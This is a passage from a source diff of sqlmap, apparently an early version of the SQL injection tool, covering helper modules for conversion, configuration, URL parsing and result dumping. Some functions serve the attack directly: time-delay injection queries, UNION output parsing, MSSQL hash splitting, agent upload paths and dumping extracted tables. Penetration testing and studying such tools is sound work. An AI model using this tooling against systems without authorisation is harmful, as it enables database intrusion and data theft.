+        warnMsg = "unable to retrieve any web server path"
+        logger.warn(warnMsg)
+
+    message   = "please provide any additional web server full path to try "
+    message  += "to upload the agent [%s]: " % ",".join(directory for directory in defaultDirs)
+    inputDirs = readInput(message, default=",".join(directory for directory in defaultDirs))
+
+    if inputDirs:
+        inputDirs = inputDirs.replace(", ", ",")
+        inputDirs = inputDirs.split(",")
+
+        for inputDir in inputDirs:
+            if inputDir:
+                directories.add(inputDir)
+    else:
+        [directories.add(directory) for directory in defaultDirs]
+
+    return directories
+    
+def filePathToString(filePath):
+    strRepl = filePath.replace("/", "_").replace("\\", "_")
+    strRepl = strRepl.replace(" ", "_").replace(":", "_")
+
+    return strRepl
+
+def dataToStdout(data):
+    sys.stdout.write(data)
+    sys.stdout.flush()
+    
+def dataToSessionFile(data):
+    if not conf.sessionFile:
+        return
+
+    conf.sessionFP.write(data)
+    conf.sessionFP.flush()
+    
+def dataToDumpFile(dumpFile, data):
+    dumpFile.write(data)
+    dumpFile.flush()
+    
+def dataToOutFile(data):
+    if not data:
+        return "No data retrieved"
+
+    rFile     = filePathToString(conf.rFile)
+    rFilePath = "%s%s%s" % (conf.filePath, os.sep, rFile)
+    rFileFP   = open(rFilePath, "wb")
+
+    rFileFP.write(data)
+    rFileFP.flush()
+    rFileFP.close()
+
+    return rFilePath
+
+def strToHex(inpStr):
+    """
+    @param inpStr: inpStr to be converted into its hexadecimal value.
+    @type inpStr: C{str}
+
+    @return: the hexadecimal converted inpStr.
+    @rtype: C{str}
+    """
+
+    hexStr = ""
+
+    for character in inpStr:
+        if character == "\n":
+            character = " "
+
+        hexChar = "%2x" % ord(character)
+        hexChar = hexChar.replace(" ", "0")
+        hexChar = hexChar.upper()
+
+        hexStr += hexChar
+
+    return hexStr
+        
+def fileToStr(fileName):
+    """
+    @param fileName: file path to read the content and return as a no
+    NEWLINE string.
+    @type fileName: C{file.open}
+
+    @return: the file content as a string without TAB and NEWLINE.
+    @rtype: C{str}
+    """
+
+    filePointer = open(fileName, "r")
+    fileText = filePointer.read()
+
+    return fileText.replace("    ", "").replace("\t", "").replace("\r", "").replace("\n", " ")
+
+def fileToHex(fileName):
+    """
+    @param fileName: file path to read the content and return as an
+    hexadecimal string.
+    @type fileName: C{file.open}
+
+    @return: the file content as an hexadecimal string.
+    @rtype: C{str}
+    """
+
+    fileText = fileToStr(fileName)
+    hexFile = strToHex(fileText)
+
+    return hexFile
+
+def readInput(message, default=None):
+    """
+    @param message: message to display on terminal.
+    @type message: C{str}
+
+    @return: a string read from keyboard as input.
+    @rtype: C{str}
+    """
+
+    if "\n" in message:
+        message += "\n> "
+
+    if conf.batch and default:
+        infoMsg = "%s%s" % (message, str(default))
+        logger.info(infoMsg)
+
+        debugMsg = "used the default behaviour, running in batch mode"
+        logger.debug(debugMsg)
+
+        data = default
+    else:
+        data = raw_input(message)
+
+        if not data:
+            data = default
+
+    return data
+        
+def randomRange(start=0, stop=1000):
+    """
+    @param start: starting number.
+    @type start: C{int}
+
+    @param stop: last number.
+    @type stop: C{int}
+
+    @return: a random number within the range.
+    @rtype: C{int}
+    """
+
+    return int(random.randint(start, stop))
+
+def randomInt(length=4):
+    """
+    @param length: length of the random string.
+    @type length: C{int}
+
+    @return: a random string of digits.
+    @rtype: C{str}
+    """
+
+    return int("".join([random.choice(string.digits) for _ in xrange(0, length)]))
+
+def randomStr(length=4, lowercase=False):
+    """
+    @param length: length of the random string.
+    @type length: C{int}
+
+    @return: a random string of characters.
+    @rtype: C{str}
+    """
+
+    if lowercase:
+        rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)])
+    else:
+        rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)])
+
+    return rndStr
+    
+def sanitizeStr(inpStr):
+    """
+    @param inpStr: inpStr to sanitize: cast to str datatype and replace
+    newlines with one space and strip carriage returns.
+    @type inpStr: C{str}
+
+    @return: sanitized inpStr
+    @rtype: C{str}
+    """
+
+    cleanString = str(inpStr)
+    cleanString = cleanString.replace("\n", " ").replace("\r", "")
+
+    return cleanString
+
+def checkFile(filename):
+    """
+    @param filename: filename to check if it exists.
+    @type filename: C{str}
+    """
+
+    if not os.path.exists(filename):
+        raise sqlmapFilePathException, "unable to read file '%s'" % filename
+    
+def replaceNewlineTabs(inpStr):
+    replacedString = inpStr.replace("\n", "__NEWLINE__").replace("\t", "__TAB__")
+    replacedString = replacedString.replace(temp.delimiter, "__DEL__")
+
+    return replacedString
+
+def banner():
+    """
+    This function prints sqlmap banner with its version
+    """
+
+    print """
+    %s - %s
+    %s
+    """ % (VERSION_STRING, DESCRIPTION, SITE)
+    
+def parsePasswordHash(password):
+    blank = " " * 8
+
+    if not password or password == " ":
+        password = "NULL"
+
+    if kb.dbms == "Microsoft SQL Server" and password != "NULL":
+        hexPassword = password
+        password  = "%s\n" % hexPassword
+        password += "%sheader: %s\n" % (blank, hexPassword[:6])
+        password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
+        password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
+
+        if kb.dbmsVersion[0] not in ( "2005", "2008" ):
+            password += "%suppercase: %s" % (blank, hexPassword[54:])
+
+    return password
+
+def cleanQuery(query):
+    upperQuery = query
+
+    for sqlStatements in SQL_STATEMENTS.values():
+        for sqlStatement in sqlStatements:
+            sqlStatementEsc = sqlStatement.replace("(", "\\(")
+            queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
+
+            if queryMatch:
+                upperQuery = upperQuery.replace(queryMatch.group(1), sqlStatement.upper())
+
+    return upperQuery
+            
+def setPaths():
+    # sqlmap paths
+    paths.SQLMAP_CONTRIB_PATH    = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "contrib")
+    paths.SQLMAP_SHELL_PATH      = os.path.join(paths.SQLMAP_ROOT_PATH, "shell")
+    paths.SQLMAP_TXT_PATH        = os.path.join(paths.SQLMAP_ROOT_PATH, "txt")
+    paths.SQLMAP_UDF_PATH        = os.path.join(paths.SQLMAP_ROOT_PATH, "udf")
+    paths.SQLMAP_XML_PATH        = os.path.join(paths.SQLMAP_ROOT_PATH, "xml")
+    paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
+    paths.SQLMAP_OUTPUT_PATH     = os.path.join(paths.SQLMAP_ROOT_PATH, "output")
+    paths.SQLMAP_DUMP_PATH       = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
+    paths.SQLMAP_FILES_PATH      = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
+
+    # sqlmap files
+    paths.SQLMAP_HISTORY         = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history")
+    paths.SQLMAP_CONFIG          = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
+    paths.FUZZ_VECTORS           = os.path.join(paths.SQLMAP_TXT_PATH, "fuzz_vectors.txt")
+    paths.DETECTION_RULES_XML    = os.path.join(paths.SQLMAP_XML_PATH, "detection.xml")
+    paths.ERRORS_XML             = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
+    paths.QUERIES_XML            = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
+    paths.GENERIC_XML            = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
+    paths.MSSQL_XML              = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
+    paths.MYSQL_XML              = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
+    paths.ORACLE_XML             = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
+    paths.PGSQL_XML              = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
+    
+def weAreFrozen():
+    """
+    Returns whether we are frozen via py2exe.
+    This will affect how we find out where we are located.
+    Reference: http://www.py2exe.org/index.cgi/WhereAmI
+    """
+
+    return hasattr(sys, "frozen")
+
+def parseTargetUrl():
+    """
+    Parse target url and set some attributes into the configuration
+    singleton.
+    """
+
+    if not conf.url:
+        return
+
+    if not re.search("^http[s]*://", conf.url):
+        if ":443/" in conf.url:
+            conf.url = "https://" + conf.url
+        else:
+            conf.url = "http://" + conf.url
+
+    __urlSplit     = urlparse.urlsplit(conf.url)
+    __hostnamePort = __urlSplit[1].split(":")
+
+    conf.scheme    = __urlSplit[0]
+    conf.path      = __urlSplit[2]
+    conf.hostname  = __hostnamePort[0]
+
+    if len(__hostnamePort) == 2:
+        try:
+            conf.port = int(__hostnamePort[1])
+        except:
+            errMsg = "invalid target url"
+            raise sqlmapSyntaxException, errMsg
+    elif conf.scheme == "https":
+        conf.port = 443
+    else:
+        conf.port = 80
+
+    if __urlSplit[3]:
+        conf.parameters["GET"] = __urlSplit[3]
+
+    conf.url = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, conf.path)
+    
+def expandAsteriskForColumns(expression):
+    # If the user provided an asterisk rather than the column(s)
+    # name, sqlmap will retrieve the columns itself and reprocess
+    # the SQL query string (expression)
+    asterisk = re.search("^SELECT\s+\*\s+FROM\s+([\w\.\_]+)\s*", expression, re.I)
+
+    if asterisk:
+        infoMsg  = "you did not provide the fields in your query. "
+        infoMsg += "sqlmap will retrieve the column names itself"
+        logger.info(infoMsg)
+
+        dbTbl = asterisk.group(1)
+
+        if dbTbl and "." in dbTbl:
+            conf.db, conf.tbl = dbTbl.split(".")
+        else:
+            conf.tbl = dbTbl
+
+        columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
+
+        if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
+            columns = columnsDict[conf.db][conf.tbl].keys()
+            columns.sort()
+            columnsStr = ", ".join([column for column in columns])
+            expression = expression.replace("*", columnsStr, 1)
+
+            infoMsg  = "the query with column names is: "
+            infoMsg += "%s" % expression
+            logger.info(infoMsg)
+
+    return expression
+
+def getRange(count, dump=False, plusOne=False):
+    count      = int(count)
+    indexRange = None
+    limitStart = 1
+    limitStop  = count
+
+    if dump:
+        if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop:
+            limitStop = conf.limitStop
+
+        if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
+            limitStart = conf.limitStart
+
+    if plusOne:
+        indexRange = range(limitStart, limitStop + 1)
+    else:
+        indexRange = range(limitStart - 1, limitStop)
+
+    return indexRange
+    
+def parseUnionPage(output, expression, partial=False, condition=None, sort=True):
+    data = []
+
+    outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
+    outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
+
+    if outCond1 or outCond2:
+        if outCond1:
+            regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
+        elif outCond2:
+            regExpr = '__START__(.*?)__STOP__'
+
+        output = re.findall(regExpr, output, re.S)
+
+        if condition is None:
+            condition = (
+                          kb.resumedQueries and conf.url in kb.resumedQueries.keys()
+                          and expression in kb.resumedQueries[conf.url].keys()
+                        )
+
+        if partial or not condition:
+            logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
+            dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
+
+        if sort:
+            output = set(output)
+
+        for entry in output:
+            info = []
+
+            if "__DEL__" in entry:
+                entry = entry.split("__DEL__")
+            else:
+                entry = entry.split(temp.delimiter)
+
+            if len(entry) == 1:
+                data.append(entry[0])
+            else:
+                for value in entry:
+                    info.append(value)
+
+                data.append(info)
+    else:
+        data = output
+
+    if len(data) == 1 and isinstance(data[0], str):
+        data = data[0]
+
+    return data
+
+def getDelayQuery(andCond=False):
+    query = None
+
+    if kb.dbms in ("MySQL", "PostgreSQL"):
+        if not kb.data.banner:
+            conf.dbmsHandler.getVersionFromBanner()
+
+        banVer = kb.bannerFp["dbmsVersion"]
+
+        if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"):
+            query = queries[kb.dbms].timedelay % conf.timeSec
+
+            if kb.dbms == "MySQL" and andCond:
+                query = query.replace("SELECT ", "")
+
+        else:
+            query = queries[kb.dbms].timedelay2 % conf.timeSec
+    else:
+        query = queries[kb.dbms].timedelay % conf.timeSec
+
+    return query
+    
+def getLocalIP():
+    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    s.connect((conf.hostname, conf.port))
+    ip, _ = s.getsockname()
+    s.close()
+
+    return ip
+
+def getRemoteIP():
+    return socket.gethostbyname(conf.hostname)
+
+def getFileType(filePath):
+    try:
+        magicFileType = magic.from_file(filePath)
+    except:
+        return "unknown"
+
+    if "ASCII" in magicFileType or "text" in magicFileType:
+        return "text"
+    else:
+        return "binary"
+    
+def pollProcess(process):
+    while True:
+        dataToStdout(".")
+        time.sleep(1)
+
+        returncode = process.poll()
+
+        if returncode is not None:
+            if returncode == 0:
+                dataToStdout(" done\n")
+            elif returncode < 0:
+                dataToStdout(" process terminated by signal %d\n" % returncode)
+            elif returncode > 0:
+                dataToStdout(" quit unexpectedly with return code %d\n" % returncode)
+
+            break
+            
+def getCharset(charsetType=None):
+    asciiTbl = []
+
+    if charsetType is None:
+        asciiTbl = range(0, 128)
+
+    # 0 or 1
+    elif charsetType == 1:
+        asciiTbl.extend([ 0, 1 ])
+        asciiTbl.extend(range(47, 50))
+
+    # Digits
+    elif charsetType == 2:
+        asciiTbl.extend([ 0, 1 ])
+        asciiTbl.extend(range(47, 58))
+
+    # Hexadecimal
+    elif charsetType == 3:
+        asciiTbl.extend([ 0, 1 ])
+        asciiTbl.extend(range(47, 58))
+        asciiTbl.extend(range(64, 71))
+        asciiTbl.extend(range(96, 103))
+
+    # Characters
+    elif charsetType == 4:
+        asciiTbl.extend([ 0, 1 ])
+        asciiTbl.extend(range(64, 91))
+        asciiTbl.extend(range(96, 123))
+
+    # Characters and digits
+    elif charsetType == 5:
+        asciiTbl.extend([ 0, 1 ])
+        asciiTbl.extend(range(47, 58))
+        asciiTbl.extend(range(64, 91))
+        asciiTbl.extend(range(96, 123))
+
+    return asciiTbl
+    
+def searchEnvPath(fileName):
+    envPaths = os.environ["PATH"]
+    result = None
+
+    if IS_WIN:
+        envPaths = envPaths.split(";")
+    else:
+        envPaths = envPaths.split(":")
+
+    for envPath in envPaths:
+        envPath = envPath.replace(";", "")
+        result = os.path.exists(os.path.normpath(os.path.join(envPath, fileName)))
+
+        if result:
+            break
+
+    return result
+
+def urlEncodeCookieValues(cookieStr):
+    if cookieStr:
+        result = ""
+        for part in cookieStr.split(';'):
+            index = part.find('=') + 1
+            if index > 0:
+                name = part[:index - 1].strip()
+                value = urlencode(part[index:], convall=True)
+                result += "; %s=%s" % (name, value)
+            elif part.strip().lower() != "secure":
+                result += "%s%s" % ("%3B", urlencode(part, convall=True))
+            else:
+                result += "; secure"
+        if result.startswith('; '):
+            result = result[2:]
+        elif result.startswith('%3B'):
+            result = result[3:]
+        return result
+    else:
+        return None
+
+def directoryPath(path):
+    retVal = None
+    if isWindowsPath(path):
+        retVal = ntpath.dirname(path)
+    else:
+        retVal = posixpath.dirname(path)
+    return retVal
+
+def normalizePath(path):
+    """
+    This function must be called only after posixToNtSlashes()
+    and ntToPosixSlashes()
+    """
+
+    retVal = None
+
+    if isWindowsPath(path):
+        retVal = ntpath.normpath(path)
+    else:
+        retVal = posixpath.normpath(path)
+
+    return retVal
+
+def safeStringFormat(formatStr, params):
+    retVal = formatStr.replace('%d', '%s')
+
+    if isinstance(params, str):
+        retVal = retVal.replace("%s", params)
+    else:
+        count = 0
+        index = 0
+
+        while index != -1:
+            index = retVal.find('%s')
+
+            if index != -1:
+                if count < len(params):
+                    retVal = retVal[:index] + str(params[count]) + retVal[index+2:]
+                else:
+                    raise sqlmapNoneDataException, "wrong number of parameters during string formatting"
+                count += 1
+
+    return retVal
+
+def sanitizeAsciiString(string):
+    return "".join(char if ord(char) < 128 else '?' for char in string)
+
+def decloakToNamedTemporaryFile(filepath, name=None):
+    retVal = NamedTemporaryFile()
+    def __del__():
+        try:
+            if hasattr(retVal, 'old_name'):
+                retVal.name = old_name
+            retVal.close()
+        except OSError:
+            pass
+    retVal.__del__ = __del__
+    retVal.write(decloak(filepath))
+    retVal.seek(0)
+    if name:
+        retVal.old_name = retVal.name
+        retVal.name = name
+    return retVal
+
+def decloakToMkstemp(filepath, **kwargs):
+    name = mkstemp(**kwargs)[1]
+    retVal = open(name, 'w+b')
+    retVal.write(decloak(filepath))
+    retVal.seek(0)
+    return retVal
+
+def isWindowsPath(filepath):
+    return re.search("\A[\w]\:\\\\", filepath) is not None
+
+def posixToNtSlashes(filepath):
+    return filepath.replace('/', '\\')
+
+def ntToPosixSlashes(filepath):
+    return filepath.replace('\\', '/')

lib/core/convert.py

@@ -0,0 +1,90 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+try:
+    import hashlib
+except:
+    import md5
+    import sha
+    
+import sys
+import struct
+import urllib
+
+def base64decode(string):
+    return string.decode("base64")
+
+def base64encode(string):
+    return string.encode("base64")[:-1]
+
+def hexdecode(string):
+    string = string.lower()
+
+    if string.startswith("0x"):
+        string = string[2:]
+
+    return string.decode("hex")
+    
+def hexencode(string):
+    return string.encode("hex")
+
+def md5hash(string):
+    if sys.modules.has_key('hashlib'):
+        return hashlib.md5(string).hexdigest()
+    else:
+        return md5.new(string).hexdigest()
+
+def orddecode(string):
+    packedString = struct.pack("!"+"I" * len(string), *string)
+    return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
+
+def ordencode(string):
+    return tuple([ord(char) for char in string])
+
+def sha1hash(string):
+    if sys.modules.has_key('hashlib'):
+        return hashlib.sha1(string).hexdigest()
+    else:
+        return sha.new(string).hexdigest()
+
+def urldecode(string):
+    result = None
+    
+    if string:
+        result = urllib.unquote_plus(string)
+
+    return result
+
+def urlencode(string, safe=":/?%&=", convall=False):
+    result = None
+
+    if string is None:
+        return result
+
+    if convall:
+        result = urllib.quote(string)
+    else:
+        result = urllib.quote(string, safe)
+
+    return result

lib/core/data.py

@@ -0,0 +1,46 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+from lib.core.datatype import advancedDict
+from lib.core.settings import LOGGER
+
+# sqlmap paths
+paths = advancedDict()
+
+# object to share within function and classes command
+# line options and settings
+conf = advancedDict()
+
+# object to share within function and classes results
+kb = advancedDict()
+
+# object to share within function and classes temporary data,
+# just for internal use
+temp = advancedDict()
+
+# object with each database management system specific queries
+queries = {}
+
+# logger
+logger = LOGGER

lib/core/datatype.py

@@ -0,0 +1,73 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+from lib.core.exception import sqlmapDataException
+
+class advancedDict(dict):
+    """
+    This class defines the sqlmap object, inheriting from Python data
+    type dictionary.
+    """
+
+    def __init__(self, indict=None, attribute=None):
+        if indict is None:
+            indict = {}
+
+        # Set any attributes here - before initialisation
+        # these remain as normal attributes
+        self.attribute = attribute
+        dict.__init__(self, indict)
+        self.__initialised = True
+
+        # After initialisation, setting attributes
+        # is the same as setting an item
+
+    def __getattr__(self, item):
+        """
+        Maps values to attributes
+        Only called if there *is NOT* an attribute with this name
+        """
+
+        try:
+            return self.__getitem__(item)
+        except KeyError:
+            raise sqlmapDataException, "Unable to access item '%s'" % item
+
+    def __setattr__(self, item, value):
+        """
+        Maps attributes to values
+        Only if we are initialised
+        """
+
+        # This test allows attributes to be set in the __init__ method
+        if not self.__dict__.has_key('_advancedDict__initialised'):
+            return dict.__setattr__(self, item, value)
+
+        # Any normal attributes are handled normally
+        elif self.__dict__.has_key(item):
+            dict.__setattr__(self, item, value)
+
+        else:
+            self.__setitem__(item, value)
+

lib/core/dump.py

@@ -0,0 +1,353 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import os
+import re
+
+from lib.core.common import dataToDumpFile
+from lib.core.data import conf
+from lib.core.data import logger
+
+class Dump:
+    """
+    This class defines methods used to parse and output the results
+    of SQL injection actions
+
+    """
+
+    def __init__(self):
+        self.__outputFile = None
+        self.__outputFP   = None
+        
+    def __write(self, data, n=True):
+        if n:
+            print data
+            self.__outputFP.write("%s\n" % data)
+        else:
+            print data,
+            self.__outputFP.write("%s " % data)
+
+        self.__outputFP.flush()
+
+        conf.loggedToOut = True
+        
+    def setOutputFile(self):
+        self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
+        self.__outputFP = open(self.__outputFile, "a")
+        
+    def string(self, header, data, sort=True):
+        if isinstance(data, (list, tuple, set)):
+            self.lister(header, data, sort)
+
+            return
+
+        data = str(data)
+
+        if data:
+            data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
+            data = data.replace("__START__", "").replace("__STOP__", "")
+            data = data.replace("__DEL__", ", ")
+
+            if "\n" in data:
+                self.__write("%s:\n---\n%s---\n" % (header, data))
+            else:
+                self.__write("%s:    '%s'\n" % (header, data))
+        else:
+            self.__write("%s:\tNone\n" % header)
+            
+    def lister(self, header, elements, sort=True):
+        if elements:
+            self.__write("%s [%d]:" % (header, len(elements)))
+
+        if sort:
+            try:
+                elements = set(elements)
+                elements = list(elements)
+                elements.sort(key=lambda x: x.lower())
+            except:
+                pass
+
+        for element in elements:
+            if isinstance(element, str):
+                self.__write("[*] %s" % element)
+            elif isinstance(element, (list, tuple, set)):
+                self.__write("[*] " + ", ".join(e for e in element))
+
+        if elements:
+            self.__write("")
+            
+    def userSettings(self, header, userSettings, subHeader):
+        self.__areAdmins = set()
+
+        if userSettings:
+            self.__write("%s:" % header)
+
+        if isinstance(userSettings, (tuple, list, set)):
+            self.__areAdmins = userSettings[1]
+            userSettings = userSettings[0]
+
+        users = userSettings.keys()
+        users.sort(key=lambda x: x.lower())
+
+        for user in users:
+            settings = userSettings[user]
+
+            if user in self.__areAdmins:
+                self.__write("[*] %s (administrator) [%d]:" % (user, len(settings)))
+            else:
+                self.__write("[*] %s [%d]:" % (user, len(settings)))
+
+            settings.sort()
+
+            for setting in settings:
+                self.__write("    %s: %s" % (subHeader, setting))
+        print
+
+    def dbColumns(self, dbColumns, colConsider, dbs):
+        for column, dbTables in dbColumns.items():
+            if colConsider == "1":
+                colConsiderStr = "s like '" + column + "' were"
+            else:
+                colConsiderStr = " '%s' was" % column
+
+            msg  = "Column%s found in the " % colConsiderStr
+            msg += "following databases:"
+            self.__write(msg)
+
+            printDbs = {}
+
+            for db, tblData in dbs.items():
+                for tbl, colData in tblData.items():
+                    for col, dataType in colData.items():
+                        if column in col:
+                            if db in printDbs:
+                                if tbl in printDbs[db]:
+                                    printDbs[db][tbl][col] = dataType
+                                else:
+                                    printDbs[db][tbl] = { col: dataType }
+                            else:
+                                printDbs[db] = {}
+                                printDbs[db][tbl] = { col: dataType }
+
+                            continue
+
+            self.dbTableColumns(printDbs)
+
+    def dbTables(self, dbTables):
+        if not isinstance(dbTables, dict):
+            self.string("tables", dbTables)
+
+            return
+
+        maxlength = 0
+
+        for tables in dbTables.values():
+            for table in tables:
+                maxlength = max(maxlength, len(table))
+
+        lines = "-" * (int(maxlength) + 2)
+
+        for db, tables in dbTables.items():
+            tables.sort(key=lambda x: x.lower())
+
+            self.__write("Database: %s" % db)
+
+            if len(tables) == 1:
+                self.__write("[1 table]")
+            else:
+                self.__write("[%d tables]" % len(tables))
+
+            self.__write("+%s+" % lines)
+
+            for table in tables:
+                blank = " " * (maxlength - len(table))
+                self.__write("| %s%s |" % (table, blank))
+
+            self.__write("+%s+\n" % lines)
+
+    def dbTableColumns(self, tableColumns):
+        for db, tables in tableColumns.items():
+            if not db:
+                db = "All"
+
+            for table, columns in tables.items():
+                maxlength1 = 0
+                maxlength2 = 0
+
+                colList = columns.keys()
+                colList.sort(key=lambda x: x.lower())
+
+                for column in colList:
+                    colType = columns[column]
+                    maxlength1 = max(maxlength1, len(column))
+
+                    if colType is not None:
+                        maxlength2 = max(maxlength2, len(colType))
+
+                maxlength1 = max(maxlength1, len("COLUMN"))
+                lines1 = "-" * (int(maxlength1) + 2)
+
+                if colType is not None:
+                    maxlength2 = max(maxlength2, len("TYPE"))
+                    lines2 = "-" * (int(maxlength2) + 2)
+
+                self.__write("Database: %s\nTable: %s" % (db, table))
+
+                if len(columns) == 1:
+                    self.__write("[1 column]")
+                else:
+                    self.__write("[%d columns]" % len(columns))
+
+                if colType is not None:
+                    self.__write("+%s+%s+" % (lines1, lines2))
+                else:
+                    self.__write("+%s+" % lines1)
+
+                blank1 = " " * (maxlength1 - len("COLUMN"))
+
+                if colType is not None:
+                    blank2 = " " * (maxlength2 - len("TYPE"))
+
+                if colType is not None:
+                    self.__write("| Column%s | Type%s |" % (blank1, blank2))
+                    self.__write("+%s+%s+" % (lines1, lines2))
+                else:
+                    self.__write("| Column%s |" % blank1)
+                    self.__write("+%s+" % lines1)
+
+                for column in colList:
+                    colType = columns[column]
+                    blank1 = " " * (maxlength1 - len(column))
+
+                    if colType is not None:
+                        blank2 = " " * (maxlength2 - len(colType))
+                        self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
+                    else:
+                        self.__write("| %s%s |" % (column, blank1))
+
+                if colType is not None:
+                    self.__write("+%s+%s+\n" % (lines1, lines2))
+                else:
+                    self.__write("+%s+\n" % lines1)
+
+    def dbTableValues(self, tableValues):
+        if tableValues is None:
+            return
+
+        db = tableValues["__infos__"]["db"]
+        if not db:
+            db = "All"
+        table = tableValues["__infos__"]["table"]
+
+        if not conf.multipleTargets:
+            dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
+
+            if not os.path.isdir(dumpDbPath):
+                os.makedirs(dumpDbPath, 0755)
+
+            dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, table)
+            dumpFP = open(dumpFileName, "w")
+
+        count     = int(tableValues["__infos__"]["count"])
+        separator = ""
+        field     = 1
+        fields    = len(tableValues) - 1
+
+        columns = tableValues.keys()
+        columns.sort(key=lambda x: x.lower())
+
+        for column in columns:
+            if column != "__infos__":
+                info       = tableValues[column]
+                lines      = "-" * (int(info["length"]) + 2)
+                separator += "+%s" % lines
+
+        separator += "+"
+        self.__write("Database: %s\nTable: %s" % (db, table))
+
+        if count == 1:
+            self.__write("[1 entry]")
+        else:
+            self.__write("[%d entries]" % count)
+
+        self.__write(separator)
+
+        for column in columns:
+            if column != "__infos__":
+                info      = tableValues[column]
+                maxlength = int(info["length"])
+                blank     = " " * (maxlength - len(column))
+
+                self.__write("| %s%s" % (column, blank), n=False)
+
+                if not conf.multipleTargets and field == fields:
+                    dataToDumpFile(dumpFP, "%s" % column)
+                elif not conf.multipleTargets:
+                    dataToDumpFile(dumpFP, "%s," % column)
+
+                field += 1
+
+        self.__write("|\n%s" % separator)
+
+        if not conf.multipleTargets:
+            dataToDumpFile(dumpFP, "\n")
+
+        for i in range(count):
+            field = 1
+
+            for column in columns:
+                if column != "__infos__":
+                    info = tableValues[column]
+                    value = info["values"][i]
